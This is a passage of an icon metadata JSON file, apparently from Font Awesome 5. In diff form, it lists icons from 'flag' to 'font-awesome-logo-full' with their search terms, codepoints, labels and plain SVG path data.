d=\"M32 0C14.3 0 0 14.3 0 32v464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32C64 14.3 49.7 0 32 0zm267.9 303.6c-57.2-15.1-111.7-28.8-203.9 11.1V384c185.7-92.2 221.7 53.3 397.5-23.1 11.4-5 18.5-16.5 18.5-28.8v-36c-43.6 17.3-80.2 24.1-112.1 24.1-37.4-.1-68.9-8.4-100-16.6zm0-96c-57.2-15.1-111.7-28.8-203.9 11.1v61.5c94.8-37.6 154.6-22.7 212.1-7.6 57.2 15.1 111.7 28.8 203.9-11.1V200c-43.6 17.3-80.2 24.1-112.1 24.1-37.4 0-68.9-8.3-100-16.5zm9.5-125.9c51.8 15.6 97.4 29 202.6-20.1V30.8c0-25.1-26.8-38.1-49.4-26.6C291.3 91.5 305.4-62.2 96 32.4v151.9c94.8-37.5 154.6-22.7 212.1-7.6 57.2 15 111.7 28.7 203.9-11.1V96.7c-53.6 23.5-93.3 31.4-126.1 31.4s-59-7.8-85.7-15.9c-4-1.2-8.1-2.4-12.1-3.5V75.5c7.2 2 14.3 4.1 21.3 6.2zM160 128.1c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16-7.2 16-16 16zm0-55.8c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm64 47.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm0-55.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M32 0C14.3 0 0 14.3 0 32v464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32C64 14.3 49.7 0 32 0zm267.9 303.6c-57.2-15.1-111.7-28.8-203.9 11.1V384c185.7-92.2 221.7 53.3 397.5-23.1 11.4-5 18.5-16.5 18.5-28.8v-36c-43.6 17.3-80.2 24.1-112.1 24.1-37.4-.1-68.9-8.4-100-16.6zm0-96c-57.2-15.1-111.7-28.8-203.9 11.1v61.5c94.8-37.6 154.6-22.7 212.1-7.6 57.2 15.1 111.7 28.8 203.9-11.1V200c-43.6 17.3-80.2 24.1-112.1 24.1-37.4 0-68.9-8.3-100-16.5zm9.5-125.9c51.8 15.6 97.4 29 202.6-20.1V30.8c0-25.1-26.8-38.1-49.4-26.6C291.3 91.5 305.4-62.2 96 32.4v151.9c94.8-37.5 154.6-22.7 212.1-7.6 57.2 15 111.7 28.7 203.9-11.1V96.7c-53.6 23.5-93.3 31.4-126.1 31.4s-59-7.8-85.7-15.9c-4-1.2-8.1-2.4-12.1-3.5V75.5c7.2 2 14.3 4.1 21.3 6.2zM160 128.1c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16-7.2 16-16 16zm0-55.8c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm64 47.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm0-55.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16z" + } + }, + "free": [ + "solid" + ] + }, + "flask": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "beaker", + "experimental", + "labs", + "science" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0c3", + "label": "Flask", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635490, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M437.2 403.5L320 215V64h8c13.3 0 24-10.7 24-24V24c0-13.3-10.7-24-24-24H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h8v151L10.8 403.5C-18.5 450.6 15.3 512 70.9 512h306.2c55.7 0 89.4-61.5 60.1-108.5zM137.9 320l48.2-77.6c3.7-5.2 5.8-11.6 5.8-18.4V64h64v160c0 6.9 2.2 13.2 5.8 18.4l48.2 77.6h-172z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M437.2 403.5L320 215V64h8c13.3 0 24-10.7 24-24V24c0-13.3-10.7-24-24-24H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h8v151L10.8 403.5C-18.5 450.6 15.3 512 70.9 512h306.2c55.7 0 89.4-61.5 60.1-108.5zM137.9 320l48.2-77.6c3.7-5.2 5.8-11.6 5.8-18.4V64h64v160c0 6.9 2.2 13.2 5.8 18.4l48.2 77.6h-172z" + } + }, + "free": [ + "solid" + ] + }, + "flickr": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f16e", + "label": "Flickr", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860987, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM144.5 319c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5zm159 0c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM144.5 319c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5zm159 0c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5z" + } + }, + "free": [ + "brands" + ] + }, + "flipboard": { + "changes": [ + "5.0.5", + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f44d", + "label": "Flipboard", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440860987, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm358.4 179.2h-89.6v89.6h-89.6v89.6H89.6V121.6h268.8v89.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 32v448h448V32H0zm358.4 179.2h-89.6v89.6h-89.6v89.6H89.6V121.6h268.8v89.6z" + } + }, + "free": [ + "brands" + ] + }, + "flushed": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "embarrassed", + "emoticon", + "face" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f579", + "label": "Flushed Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635492, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M344 200c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-192 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM80 224c0-39.8 32.2-72 72-72s72 32.2 72 72-32.2 72-72 72-72-32.2-72-72zm232 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-104c-39.8 0-72-32.2-72-72s32.2-72 72-72 72 32.2 72 72-32.2 72-72 72z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M344 200c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-192 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM80 224c0-39.8 32.2-72 72-72s72 32.2 72 72-32.2 72-72 72-72-32.2-72-72zm232 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-104c-39.8 0-72-32.2-72-72s32.2-72 72-72 72 32.2 72 72-32.2 72-72 72z" + }, + "regular": { + "last_modified": 1628088634814, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm96-312c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-112 24c0-44.2-35.8-80-80-80s-80 35.8-80 80 35.8 80 80 80 80-35.8 80-80zm-80 48c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm160 144H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm96-312c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-112 24c0-44.2-35.8-80-80-80s-80 35.8-80 80 35.8 80 80 80 80-35.8 80-80zm-80 48c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm160 144H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "fly": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f417", + "label": "Fly", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860987, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M197.8 427.8c12.9 11.7 33.7 33.3 33.2 50.7 0 .8-.1 1.6-.1 2.5-1.8 19.8-18.8 31.1-39.1 31-25-.1-39.9-16.8-38.7-35.8 1-16.2 20.5-36.7 32.4-47.6 2.3-2.1 2.7-2.7 5.6-3.6 3.4 0 3.9.3 6.7 2.8zM331.9 67.3c-16.3-25.7-38.6-40.6-63.3-52.1C243.1 4.5 214-.2 192 0c-44.1 0-71.2 13.2-81.1 17.3C57.3 45.2 26.5 87.2 28 158.6c7.1 82.2 97 176 155.8 233.8 1.7 1.6 4.5 4.5 6.2 5.1l3.3.1c2.1-.7 1.8-.5 3.5-2.1 52.3-49.2 140.7-145.8 155.9-215.7 7-39.2 3.1-72.5-20.8-112.5zM186.8 351.9c-28-51.1-65.2-130.7-69.3-189-3.4-47.5 11.4-131.2 69.3-136.7v325.7zM328.7 180c-16.4 56.8-77.3 128-118.9 170.3C237.6 298.4 275 217 277 158.4c1.6-45.9-9.8-105.8-48-131.4 88.8 18.3 115.5 98.1 99.7 153z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M197.8 427.8c12.9 11.7 33.7 33.3 33.2 50.7 0 .8-.1 1.6-.1 2.5-1.8 19.8-18.8 31.1-39.1 31-25-.1-39.9-16.8-38.7-35.8 1-16.2 20.5-36.7 32.4-47.6 2.3-2.1 2.7-2.7 5.6-3.6 3.4 0 3.9.3 6.7 2.8zM331.9 67.3c-16.3-25.7-38.6-40.6-63.3-52.1C243.1 4.5 214-.2 192 0c-44.1 0-71.2 13.2-81.1 17.3C57.3 45.2 26.5 87.2 28 158.6c7.1 82.2 97 176 155.8 233.8 1.7 1.6 4.5 4.5 6.2 5.1l3.3.1c2.1-.7 1.8-.5 3.5-2.1 52.3-49.2 140.7-145.8 155.9-215.7 7-39.2 3.1-72.5-20.8-112.5zM186.8 351.9c-28-51.1-65.2-130.7-69.3-189-3.4-47.5 11.4-131.2 69.3-136.7v325.7zM328.7 180c-16.4 56.8-77.3 128-118.9 170.3C237.6 298.4 275 217 277 158.4c1.6-45.9-9.8-105.8-48-131.4 88.8 18.3 115.5 98.1 99.7 153z" + } + }, + "free": [ + "brands" + ] + }, + "folder": { + "changes": [ + "1", + "5.0.0", + "5.3.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "archive", + "directory", + "document", + "file" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f07b", + "label": "Folder", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635495, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48z" + }, + "regular": { + "last_modified": 1628088634817, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 128H272l-54.63-54.63c-6-6-14.14-9.37-22.63-9.37H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm0 272H48V112h140.12l54.63 54.63c6 6 14.14 9.37 22.63 9.37H464v224z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 128H272l-54.63-54.63c-6-6-14.14-9.37-22.63-9.37H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm0 272H48V112h140.12l54.63 54.63c6 6 14.14 9.37 22.63 9.37H464v224z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "folder-minus": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "archive", + "delete", + "directory", + "document", + "file", + "negative", + "remove" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f65d", + "label": "Folder Minus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635493, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm-96 168c0 8.84-7.16 16-16 16H160c-8.84 0-16-7.16-16-16v-16c0-8.84 7.16-16 16-16h192c8.84 0 16 7.16 16 16v16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm-96 168c0 8.84-7.16 16-16 16H160c-8.84 0-16-7.16-16-16v-16c0-8.84 7.16-16 16-16h192c8.84 0 16 7.16 16 16v16z" + } + }, + "free": [ + "solid" + ] + }, + "folder-open": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "archive", + "directory", + "document", + "empty", + "file", + "new" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f07c", + "label": "Folder Open", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635493, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M572.694 292.093L500.27 416.248A63.997 63.997 0 0 1 444.989 448H45.025c-18.523 0-30.064-20.093-20.731-36.093l72.424-124.155A64 64 0 0 1 152 256h399.964c18.523 0 30.064 20.093 20.73 36.093zM152 224h328v-48c0-26.51-21.49-48-48-48H272l-64-64H48C21.49 64 0 85.49 0 112v278.046l69.077-118.418C86.214 242.25 117.989 224 152 224z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M572.694 292.093L500.27 416.248A63.997 63.997 0 0 1 444.989 448H45.025c-18.523 0-30.064-20.093-20.731-36.093l72.424-124.155A64 64 0 0 1 152 256h399.964c18.523 0 30.064 20.093 20.73 36.093zM152 224h328v-48c0-26.51-21.49-48-48-48H272l-64-64H48C21.49 64 0 85.49 0 112v278.046l69.077-118.418C86.214 242.25 117.989 224 152 224z" + }, + "regular": { + "last_modified": 1628088634815, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M527.9 224H480v-48c0-26.5-21.5-48-48-48H272l-64-64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h400c16.5 0 31.9-8.5 40.7-22.6l79.9-128c20-31.9-3-73.4-40.7-73.4zM48 118c0-3.3 2.7-6 6-6h134.1l64 64H426c3.3 0 6 2.7 6 6v42H152c-16.8 0-32.4 8.8-41.1 23.2L48 351.4zm400 282H72l77.2-128H528z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M527.9 224H480v-48c0-26.5-21.5-48-48-48H272l-64-64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h400c16.5 0 31.9-8.5 40.7-22.6l79.9-128c20-31.9-3-73.4-40.7-73.4zM48 118c0-3.3 2.7-6 6-6h134.1l64 64H426c3.3 0 6 2.7 6 6v42H152c-16.8 0-32.4 8.8-41.1 23.2L48 351.4zm400 282H72l77.2-128H528z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "folder-plus": { + "changes": [ + "5.3.0", + "5.11.0", + "5.12.1" + ], + "ligatures": [], + "search": { + "terms": [ + "add", + "archive", + "create", + "directory", + "document", + "file", + "new", + "positive" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f65e", + "label": "Folder Plus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635494, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464,128H272L208,64H48A48,48,0,0,0,0,112V400a48,48,0,0,0,48,48H464a48,48,0,0,0,48-48V176A48,48,0,0,0,464,128ZM359.5,296a16,16,0,0,1-16,16h-64v64a16,16,0,0,1-16,16h-16a16,16,0,0,1-16-16V312h-64a16,16,0,0,1-16-16V280a16,16,0,0,1,16-16h64V200a16,16,0,0,1,16-16h16a16,16,0,0,1,16,16v64h64a16,16,0,0,1,16,16Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464,128H272L208,64H48A48,48,0,0,0,0,112V400a48,48,0,0,0,48,48H464a48,48,0,0,0,48-48V176A48,48,0,0,0,464,128ZM359.5,296a16,16,0,0,1-16,16h-64v64a16,16,0,0,1-16,16h-16a16,16,0,0,1-16-16V312h-64a16,16,0,0,1-16-16V280a16,16,0,0,1,16-16h64V200a16,16,0,0,1,16-16h16a16,16,0,0,1,16,16v64h64a16,16,0,0,1,16,16Z" + } + }, + "free": [ + "solid" + ] + }, + "font": { + "changes": [ + "1", + "5.0.0", + "5.9.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "alphabet", + "glyph", + "text", + "type", + "typeface" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f031", + "label": "font", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635496, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M432 416h-23.41L277.88 53.69A32 32 0 0 0 247.58 32h-47.16a32 32 0 0 0-30.3 21.69L39.41 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-19.58l23.3-64h152.56l23.3 64H304a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM176.85 272L224 142.51 271.15 272z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M432 416h-23.41L277.88 53.69A32 32 0 0 0 247.58 32h-47.16a32 32 0 0 0-30.3 21.69L39.41 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-19.58l23.3-64h152.56l23.3 64H304a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM176.85 272L224 142.51 271.15 272z" + } + }, + "free": [ + "solid" + ] + }, + "font-awesome": { + "changes": [ + "4.6", + "5.0.0", + "5.15.4" + ], + "ligatures": [], + "search": { + "terms": [ + "meanpath" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f2b4", + "label": "Font Awesome", + "voted": false, + "svg": { + "brands": { + "last_modified": 1628088633723, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32ZM336 312c-31.6 11.2-41.2 16-59.8 16-31.4 0-43.2-16-74.6-16a80 80 0 0 0-25.6 4V284a85.9 85.9 0 0 1 25.6-4c31.2 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v-96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.2-16-74.6-16-25.4 0-37.4 10.4-57.6 14.4V352a16 16 0 0 1-32 0V160a16 16 0 0 1 32 0v6.4c20.2-4 32.2-14.4 57.6-14.4 31.2 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32ZM336 312c-31.6 11.2-41.2 16-59.8 16-31.4 0-43.2-16-74.6-16a80 80 0 0 0-25.6 4V284a85.9 85.9 0 0 1 25.6-4c31.2 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v-96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.2-16-74.6-16-25.4 0-37.4 10.4-57.6 14.4V352a16 16 0 0 1-32 0V160a16 16 0 0 1 32 0v6.4c20.2-4 32.2-14.4 57.6-14.4 31.2 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16Z" + } + }, + "free": [ + "brands" + ] + }, + "font-awesome-alt": { + "changes": [ + "5.0.0", + "5.15.4" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f35c", + "label": "Alternate Font Awesome", + "voted": false, + "svg": { + "brands": { + "last_modified": 1628088633723, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32Zm16 400a16 16 0 0 1-16 16H48a16 16 0 0 1-16-16V80A16 16 0 0 1 48 64H400a16 16 0 0 1 16 16ZM201.6 152c-25.4 0-37.4 10.4-57.6 14.4V160a16 16 0 0 0-32 0V352a16 16 0 0 0 32 0V198.4c20.2-4 32.2-14.4 57.6-14.4 31.4 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.4-16-74.6-16a85.9 85.9 0 0 0-25.6 4v32a80 80 0 0 1 25.6-4c31.4 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16V152c-31.6 11.2-41.2 16-59.8 16C244.8 168 232.8 152 201.6 152Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32Zm16 400a16 16 0 0 1-16 16H48a16 16 0 0 1-16-16V80A16 16 0 0 1 48 64H400a16 16 0 0 1 16 16ZM201.6 152c-25.4 0-37.4 10.4-57.6 14.4V160a16 16 0 0 0-32 0V352a16 16 0 0 0 32 0V198.4c20.2-4 32.2-14.4 57.6-14.4 31.4 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.4-16-74.6-16a85.9 85.9 0 0 0-25.6 4v32a80 80 0 0 1 25.6-4c31.4 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16V152c-31.6 11.2-41.2 16-59.8 16C244.8 168 232.8 152 201.6 152Z" + } + }, + "free": [ + "brands" + ] + }, + "font-awesome-flag": { + "changes": [ + "5.0.0", + "5.0.1", + "5.15.4" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f425", + "label": "Font Awesome Flag", + "voted": false, + "svg": { + "brands": { + "last_modified": 1628088633723, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 48V384c-63 23-82 32-119 32-63 0-87-32-150-32-20 0-36 4-51 8V328c15-4 31-8 51-8 63 0 87 32 150 32 20 0 35-3 55-9V135c-20 6-35 9-55 9-63 0-87-32-150-32-51 0-75 21-115 29V448a31.6 31.6 0 0 1-32 32A31.6 31.6 0 0 1 0 448V64A31.6 31.6 0 0 1 32 32 31.6 31.6 0 0 1 64 64V77c40-8 64-29 115-29 63 0 87 32 150 32C366 80 385 71 448 48Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 48V384c-63 23-82 32-119 32-63 0-87-32-150-32-20 0-36 4-51 8V328c15-4 31-8 51-8 63 0 87 32 150 32 20 0 35-3 55-9V135c-20 6-35 9-55 9-63 0-87-32-150-32-51 0-75 21-115 29V448a31.6 31.6 0 0 1-32 32A31.6 31.6 0 0 1 0 448V64A31.6 31.6 0 0 1 32 32 31.6 31.6 0 0 1 64 64V77c40-8 64-29 115-29 63 0 87 32 150 32C366 80 385 71 448 48Z" + } + }, + "free": [ + "brands" + ] + }, + "font-awesome-logo-full": { + "changes": [ + "5.0.11", + "5.15.4" + ], + "ligatures": [ + "Font Awesome" + ], + "search": { + "terms": [] + }, + "styles": [ + "regular", + "solid", + "brands" + ], + "unicode": "f4e6", + "label": "Font Awesome Full Logo", + "private": true, + "voted": false, + "svg": { + "regular": { + "last_modified": 1628088634817, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 3992 512\"><path d=\"M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 